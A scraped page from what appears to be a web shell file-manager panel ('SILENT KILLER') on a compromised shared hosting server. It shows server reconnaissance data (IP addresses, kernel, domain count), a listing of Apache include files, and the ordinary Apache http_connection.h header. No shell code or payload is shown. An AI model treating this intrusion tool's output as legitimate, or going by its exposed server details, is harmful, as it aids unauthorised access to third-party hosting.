SILENT KILLERPanel

Current Path: > > usr > include > apache2


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //usr/include/apache2

NameTypeSizeLast ModifiedActions
.mmn File 14 bytes July 26 2025 09:52:10.
ap_compat.h File 1075 bytes July 26 2025 09:52:07.
ap_config.h File 6606 bytes July 26 2025 09:52:07.
ap_config_auto.h File 10142 bytes July 26 2025 09:52:07.
ap_config_layout.h File 2581 bytes July 26 2025 09:52:11.
ap_expr.h File 14076 bytes July 26 2025 09:52:07.
ap_hooks.h File 5988 bytes July 26 2025 09:52:07.
ap_listen.h File 5829 bytes July 26 2025 09:52:07.
ap_mmn.h File 40271 bytes July 26 2025 09:52:07.
ap_mpm.h File 10764 bytes July 26 2025 09:52:07.
ap_provider.h File 3537 bytes July 26 2025 09:52:07.
ap_regex.h File 11405 bytes July 26 2025 09:52:07.
ap_regkey.h File 9183 bytes July 26 2025 09:52:07.
ap_release.h File 3144 bytes July 26 2025 09:52:07.
ap_slotmem.h File 7235 bytes July 26 2025 09:52:07.
ap_socache.h File 9400 bytes July 26 2025 09:52:07.
apache_noprobes.h File 15968 bytes July 26 2025 09:52:07.
cache_common.h File 2017 bytes July 26 2025 09:52:09.
heartbeat.h File 1595 bytes July 26 2025 09:52:07.
http_config.h File 57718 bytes July 26 2025 09:52:07.
http_connection.h File 7139 bytes July 26 2025 09:52:07.
http_core.h File 37270 bytes July 26 2025 09:52:07.
http_log.h File 36871 bytes July 26 2025 09:52:07.
http_main.h File 3245 bytes July 26 2025 09:52:07.
http_protocol.h File 42399 bytes July 26 2025 09:52:08.
http_request.h File 26335 bytes July 26 2025 09:52:08.
http_ssl.h File 14975 bytes July 26 2025 09:52:08.
http_vhost.h File 4593 bytes July 26 2025 09:52:08.
httpd.h File 96780 bytes July 26 2025 09:52:08.
mod_auth.h File 4523 bytes July 26 2025 09:52:08.
mod_cache.h File 7256 bytes July 26 2025 09:52:09.
mod_cgi.h File 2496 bytes July 26 2025 09:52:09.
mod_core.h File 3406 bytes July 26 2025 09:52:08.
mod_dav.h File 100030 bytes July 26 2025 09:52:09.
mod_dbd.h File 4154 bytes July 26 2025 09:52:09.
mod_http2.h File 4696 bytes July 26 2025 09:52:09.
mod_include.h File 3984 bytes July 26 2025 09:52:09.
mod_log_config.h File 2485 bytes July 26 2025 09:52:09.
mod_proxy.h File 67375 bytes July 26 2025 09:52:09.
mod_request.h File 1628 bytes July 26 2025 09:52:08.
mod_rewrite.h File 1397 bytes July 26 2025 09:52:09.
mod_session.h File 6768 bytes July 26 2025 09:52:09.
mod_so.h File 1226 bytes July 26 2025 09:52:08.
mod_ssl.h File 4989 bytes July 26 2025 09:52:09.
mod_ssl_openssl.h File 4911 bytes July 26 2025 09:52:09.
mod_status.h File 2441 bytes July 26 2025 09:52:09.
mod_unixd.h File 1114 bytes July 26 2025 09:52:08.
mod_watchdog.h File 7518 bytes July 26 2025 09:52:08.
mod_xml2enc.h File 2307 bytes July 26 2025 09:52:09.
mpm_common.h File 17327 bytes July 26 2025 09:52:08.
os.h File 1670 bytes July 26 2025 09:52:09.
scoreboard.h File 10048 bytes July 26 2025 09:52:08.
unixd.h File 4236 bytes July 26 2025 09:52:09.
util_cfgtree.h File 3153 bytes July 26 2025 09:52:08.
util_charset.h File 2267 bytes July 26 2025 09:52:08.
util_cookies.h File 4961 bytes July 26 2025 09:52:08.
util_ebcdic.h File 2752 bytes July 26 2025 09:52:08.
util_fcgi.h File 9984 bytes July 26 2025 09:52:08.
util_filter.h File 26459 bytes July 26 2025 09:52:08.
util_ldap.h File 18375 bytes July 26 2025 09:52:08.
util_md5.h File 2167 bytes July 26 2025 09:52:08.
util_mutex.h File 9292 bytes July 26 2025 09:52:08.
util_script.h File 9860 bytes July 26 2025 09:52:08.
util_time.h File 4199 bytes July 26 2025 09:52:08.
util_varbuf.h File 8286 bytes July 26 2025 09:52:08.
util_xml.h File 1341 bytes July 26 2025 09:52:08.

Reading File: //usr/include/apache2/http_connection.h

/* Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the "License"); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * @file  http_connection.h
 * @brief Apache connection library
 *
 * @defgroup APACHE_CORE_CONNECTION Connection Library
 * @ingroup  APACHE_CORE
 * @{
 */

#ifndef APACHE_HTTP_CONNECTION_H
#define APACHE_HTTP_CONNECTION_H

#include "apr_network_io.h"
#include "apr_buckets.h"

#ifdef __cplusplus
extern "C" {
#endif

/**
 * This is the protocol module driver.  This calls all of the
 * pre-connection and connection hooks for all protocol modules.
 * @param c The connection on which the request is read
 * @param csd The mechanism on which this connection is to be read.
 *            Most times this will be a socket, but it is up to the module
 *            that accepts the request to determine the exact type.
 */
AP_CORE_DECLARE(void) ap_process_connection(conn_rec *c, void *csd);

/**
 * Shutdown the connection for writing.
 * @param c The connection to shutdown
 * @param flush Whether or not to flush pending data before
 * @return APR_SUCCESS or the underlying error
 */
AP_CORE_DECLARE(apr_status_t) ap_shutdown_conn(conn_rec *c, int flush);

/**
 * Flushes all remain data in the client send buffer
 * @param c The connection to flush
 * @remark calls ap_shutdown_conn(c, 1)
 */
AP_CORE_DECLARE(void) ap_flush_conn(conn_rec *c);

/**
 * This function is responsible for the following cases:
 * <pre>
 * we now proceed to read from the client until we get EOF, or until
 * MAX_SECS_TO_LINGER has passed.  The reasons for doing this are
 * documented in a draft:
 *
 * http://tools.ietf.org/html/draft-ietf-http-connection-00.txt
 *
 * in a nutshell -- if we don't make this effort we risk causing
 * TCP RST packets to be sent which can tear down a connection before
 * all the response data has been sent to the client.
 * </pre>
 * @param c The connection we are closing
 */
AP_DECLARE(void) ap_lingering_close(conn_rec *c);

AP_DECLARE(int) ap_prep_lingering_close(conn_rec *c);

AP_DECLARE(int) ap_start_lingering_close(conn_rec *c);

/* Hooks */
/**
 * create_connection is a RUN_FIRST hook which allows modules to create
 * connections. In general, you should not install filters with the
 * create_connection hook. If you require vhost configuration information
 * to make filter installation decisions, you must use the pre_connection
 * or install_network_transport hook. This hook should close the connection
 * if it encounters a fatal error condition.
 *
 * @param p The pool from which to allocate the connection record
 * @param server The server record to create the connection too.
 * @param csd The socket that has been accepted
 * @param conn_id A unique identifier for this connection.  The ID only
 *                needs to be unique at that time, not forever.
 * @param sbh A handle to scoreboard information for this connection.
 * @param alloc The bucket allocator to use for all bucket/brigade creations
 * @return An allocated connection record or NULL.
 */
AP_DECLARE_HOOK(conn_rec *, create_connection,
                (apr_pool_t *p, server_rec *server, apr_socket_t *csd,
                 long conn_id, void *sbh, apr_bucket_alloc_t *alloc))

/**
 * This hook gives protocol modules an opportunity to set everything up
 * before calling the protocol handler.  All pre-connection hooks are
 * run until one returns something other than ok or decline
 * @param c The connection on which the request has been received.
 * @param csd The mechanism on which this connection is to be read.
 *            Most times this will be a socket, but it is up to the module
 *            that accepts the request to determine the exact type.
 * @return OK or DECLINED
 */
AP_DECLARE_HOOK(int,pre_connection,(conn_rec *c, void *csd))

/**
 * This hook implements different protocols.  After a connection has been
 * established, the protocol module must read and serve the request.  This
 * function does that for each protocol module.  The first protocol module
 * to handle the request is the last module run.
 * @param c The connection on which the request has been received.
 * @return OK or DECLINED
 */
AP_DECLARE_HOOK(int,process_connection,(conn_rec *c))

/**
 * This hook implements different protocols.  Before a connection is closed,
 * protocols might have to perform some housekeeping actions, such as 
 * sending one last goodbye packet. The connection is, unless some other
 * error already happened before, still open and operational.
 * All pre-close-connection hooks are run until one returns something 
 * other than ok or decline
 * @param c The connection on which the request has been received.
 * @return OK or DECLINED
 */
AP_DECLARE_HOOK(int,pre_close_connection,(conn_rec *c))

/**
 * This is a wrapper around ap_run_pre_connection. In case that
 * ap_run_pre_connection returns an error it marks the connection as
 * aborted and ensures that the basic connection setup normally done
 * by the core module is done in case it was not done so far.
 * @param c The connection on which the request has been received.
 *          Same as for the pre_connection hook.
 * @param csd The mechanism on which this connection is to be read.
 *            Most times this will be a socket, but it is up to the module
 *            that accepts the request to determine the exact type.
 *            Same as for the pre_connection hook.
 * @return The result of ap_run_pre_connection
 */
AP_DECLARE(int) ap_pre_connection(conn_rec *c, void *csd);

/** End Of Connection (EOC) bucket */
AP_DECLARE_DATA extern const apr_bucket_type_t ap_bucket_type_eoc;

/**
 * Determine if a bucket is an End Of Connection (EOC) bucket
 * @param e The bucket to inspect
 * @return true or false
 */
#define AP_BUCKET_IS_EOC(e)         (e->type == &ap_bucket_type_eoc)

/**
 * Make the bucket passed in an End Of Connection (EOC) bucket
 * @param b The bucket to make into an EOC bucket
 * @return The new bucket, or NULL if allocation failed
 */
AP_DECLARE(apr_bucket *) ap_bucket_eoc_make(apr_bucket *b);

/**
 * Create a bucket referring to an End Of Connection (EOC). This indicates
 * that the connection will be closed.
 * @param list The freelist from which this bucket should be allocated
 * @return The new bucket, or NULL if allocation failed
 */
AP_DECLARE(apr_bucket *) ap_bucket_eoc_create(apr_bucket_alloc_t *list);

#ifdef __cplusplus
}
#endif

#endif  /* !APACHE_HTTP_CONNECTION_H */
/** @} */

SILENT KILLER Tool